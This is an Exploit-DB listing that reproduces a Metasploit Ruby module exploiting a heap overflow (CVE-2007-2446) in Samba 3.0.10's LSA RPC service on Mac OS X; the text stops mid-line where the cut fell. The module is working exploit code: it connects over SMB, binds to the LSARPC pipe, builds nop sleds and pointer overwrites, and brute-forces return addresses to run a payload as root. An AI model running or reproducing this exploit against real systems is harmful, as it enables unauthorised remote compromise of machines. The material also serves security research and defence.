Exploit-DB #16875
Description: Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Overflow (Metasploit)
Type: remote
Platform: osx
Date: 2010-04-05
Author: Metasploit

Exploit:
##
# $Id: lsa_transnames_heap.rb 9021 2010-04-05 23:34:10Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Brute

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Samba lsa_io_trans_names Heap Overflow',
			'Description'    => %q{
				This module triggers a heap overflow in the LSA RPC service
			of the Samba daemon. This module uses the szone_free() to overwrite
			the size() or free() pointer in initial_malloc_zones structure.
			},
			'Author'         =>
				[
					'ramon',
					'Adriano Lima <adriano@risesecurity.org>',
					'hdm'
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9021 $',
			'References'     =>
				[
					['CVE', '2007-2446'],
					['OSVDB', '34699'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
				},
			'Platform'       => 'osx',
			'DefaultOptions' =>
				{
					'PrependSetresuid' => true,
				},
			'Targets'        =>
				[
					['Mac OS X 10.4.x x86 Samba 3.0.10',
					{
						'Platform'      => 'osx',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 4 * 1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x01818000 },
								'Stop'  => { 'Ret' => 0x01830000 },
								'Step'  => 3351,
							},
					}
					],
					['Mac OS X 10.4.x PPC Samba 3.0.10',
					{
						'Platform'      => 'osx',
						'Arch'          => [ ARCH_PPC ],
						'Nops'          => 1600,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0x01813000 },
								'Stop'  => { 'Ret' => 0x01830000 },
								'Step'  => 796,
							}
					}
					],
					['DEBUG',
					{
						'Platform'      => 'osx',
						'Arch'          => [ ARCH_X86 ],
						'Nops'          => 4 * 1024,
						'Bruteforce' =>
							{
								'Start' => { 'Ret' => 0xaabbccdd },
								'Stop'  => { 'Ret' => 0xaabbccdd },
								'Step'  => 0,
							}
					}
					],
				],
			'DisclosureDate' => 'May 14 2007'
			))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),
			], self.class)

	end

	# Handle a strange byteswapping issue on PPC
	def ppc_byteswap(addr)
		data = [addr].pack('N')
		(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
	end

	def brute_exploit(target_addrs)

		if(not @nops)
			if (target['Nops'] > 0)
				print_status("Creating nop sled....")
				@nops = make_nops(target['Nops'])
			else
				@nops = ''
			end
		end

		print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

		pipe = datastore['SMBPIPE'].downcase

		print_status("Connecting to the SMB service...")
		connect()
		smb_login()

		datastore['DCERPC::fake_bind_multi'] = false

		handle = dcerpc_handle('12[PII_REDACTED]-abcd-ef00[PII_REDACTED]ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		num_entries  = 256
		num_entries2 = 257

		#
		# First talloc_chunk
		# 16 bits align
		# 16 bits sid_name_use
		#     16 bits uni_str_len
		#     16 bits uni_max_len
		#     32 bits buffer
		# 32 bits domain_idx
		#
		buf = (('A' * 16) * num_entries)

		# Padding
		buf << 'A' * 4

		#
		# Use the szone_free() to overwrite the size() pointer in
		# initial_malloc_zones structure.
		#
		size_pointer = 0x1800008

		# Initial nops array
		nops = ''

		# x86
		if (target.arch.include?(ARCH_X86))

			#
			# We don't use the size() pointer anymore because it
			# results in a unexpected behavior when smbd process
			# is started by launchd.
			#
			free_pointer = 0x1800018
			nop = "\x16"

			#
			# First talloc_chunk
			# 16 bits align
			# 16 bits sid_name_use
			#     16 bits uni_str_len
			#     16 bits uni_max_len
			#     32 bits buffer
			# 32 bits domain_idx
			#

			# First nop block
			buf = ((nop * 16) * num_entries)

			#
			# A nop block of 0x16 (pushl %ss) and the address of
			# 0x1800014 results in a jns instruction which when
			# executed will jump over the address written eight
			# bytes past our target address by szone_free() (the
			# sign flag is zero at the moment our target address is
			# executed).
			#
			# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
			#
			# This is the output of the sequence of xor operations
			#   0:   79 23                   jns    0x25
			#   2:   96                      xchgl  %eax,%esi
			#   3:   17                      popl   %ss
			#   4:   16                      pushl  %ss
			#   5:   16                      pushl  %ss
			#   6:   16                      pushl  %ss
			#   7:   16                      pushl  %ss
			#   8:   14 00                   adcb   $0x0,%al
			#   a:   80 01 16                addb   $0x16,(%ecx)
			#
			# This jump is needed because the ecx register does not
			# point to a valid memory location in free() context
			# (it is zero).
			#
			# The jump will hit our nop block which will be executed
			# until it reaches the payload.
			#

			# Padding nops
			buf << nop * 2

			# Jump over the pointers
			buf << "\xeb\x08"

			# Pointers
			buf << [target_addrs['Ret']].pack('V')
			buf << [free_pointer - 4].pack('V')

			#
			# We expect to hit this nop block or the one before
			# the pointers.
			#
			buf << nop * (3852 - 8 - payload.encoded.length)

			# Payload
			buf << payload.encoded

			# Padding nops
			buf << nop * 1024

			stub = lsa_o